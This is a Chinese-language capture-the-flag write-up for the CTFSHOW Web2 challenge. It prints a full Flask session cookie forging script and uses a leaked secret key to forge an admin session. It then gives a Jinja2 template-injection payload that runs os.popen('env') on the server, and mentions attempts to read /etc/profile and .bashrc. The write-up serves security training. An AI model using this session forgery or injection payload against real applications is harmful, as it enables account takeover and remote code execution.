>
>
CTFSHOW内部赛 Web2 -蓝瘦
Jazz
WriteUp For web2-蓝瘦
开局一个登录框
简单测试,得出结论
当admin时返回密码错误 浏览器无Cookies
当输入任意值时 返回 admin 且浏览器得到session
大胆猜测:存在用户admin
正文部分:
考点
1) Flask框架登录的session伪造绕过
2) SSTI注入
参考文章:https://www.jianshu.com/p/f92311564ad0
python脚本
""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'
# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast
# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
from abc import ABCMeta, abstractmethod
else: # > 3.4
from abc import ABC, abstractmethod
# Lib for argument parsing
import argparse
# external Imports
from flask.sessions import SecureCookieSessionInterface
class MockApp(object):
def __init__(self, secret_key):
self.secret_key = secret_key
if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
class FSCM(metaclass=ABCMeta):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if(secret_key==None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
else: # > 3.4
class FSCM(ABC):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if(secret_key==None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
if __name__ == "__main__":
# Args are only relevant for __main__ usage
## Description for help
parser = argparse.ArgumentParser(
description='Flask Session Cookie Decoder/Encoder',
epilog="Author : Wilson Sumanang, Alexandre ZANNI")
## prepare sub commands
subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')
## create the parser for the encode command
parser_encode = subparsers.add_parser('encode', help='encode')
parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=True)
parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
help='Session cookie structure', required=True)
## create the parser for the decode command
parser_decode = subparsers.add_parser('decode', help='decode')
parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=False)
parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
help='Session cookie value', required=True)
## get args
args = parser.parse_args()
## find the option chosen
if(args.subcommand == 'encode'):
if(args.secret_key is not None and args.cookie_structure is not None):
print(FSCM.encode(args.secret_key, args.cookie_structure))
elif(args.subcommand == 'decode'):
if(args.secret_key is not None and args.cookie_value is not None):
print(FSCM.decode(args.cookie_value,args.secret_key))
elif(args.cookie_value is not None):
print(FSCM.decode(args.cookie_value))
使用非admin账号登录后查看cookies
再回到登录页面F12查看元素,有hint
<div>
<h4 class="b">登录成功就能拿到flag dog.png</h4>
<!-- param: ctfshow -->
<!-- key: ican -->
</div>
<form action="/login" method="post">
<div class="c">
<div class="d">
运行以上脚本
脚本具体用法
解密:python flask_session_manager.py decode -c -s # -c是flask cookie里的session值 -s参数是SECRET_KEY
加密:python flask_session_manager.py encode -s -t # -s参数是SECRET_KEY -t参数是session的参照格式,也就是session解密后的格式
bogon:web2 hu$ python3 1.py decode -c eyJ1c2VybmFtZSI6IjEyMyJ9.XoCNFg.PJjUXxxGpAPyA4V7maTaIt8-fEI -s ican
{'username': '123'}
得到解密后的字符串
然后再伪造admin的session
bogon:web2 hu$ python3 1.py encode -s ican -t "{'username': 'admin'}"
eyJ1c2VybmFtZSI6ImFkbWluIn0.XoCOqQ.65tcbEKdjkkahB3o3ZwXDSTlVsY
将伪造后的session放入原Cookies中
刷新页面
替换session值后显示缺少请求参数
这时候就用的到之前看到的除key外的另一个hint了
构造url参数
https://f3ada299-309f-47ee-a911-10be2505f0be.chall.ctf.show/?ctfshow={{2*2}}
返回4则基本判断存在注入
直接给最终payload
https://f3ada299-309f-47ee-a911-10be2505f0be.chall.ctf.show/?ctfshow={% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('env').read()") }}{% endif %}{% endfor %}
内存flag没怎么搞懂什么意思
但是只能是从环境变量里出
所以一开始我试了 cat /etc/profie cat /.bashrc 都没能出flag
百般百度查询,总算查到了直接用env调出全部环境变量
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论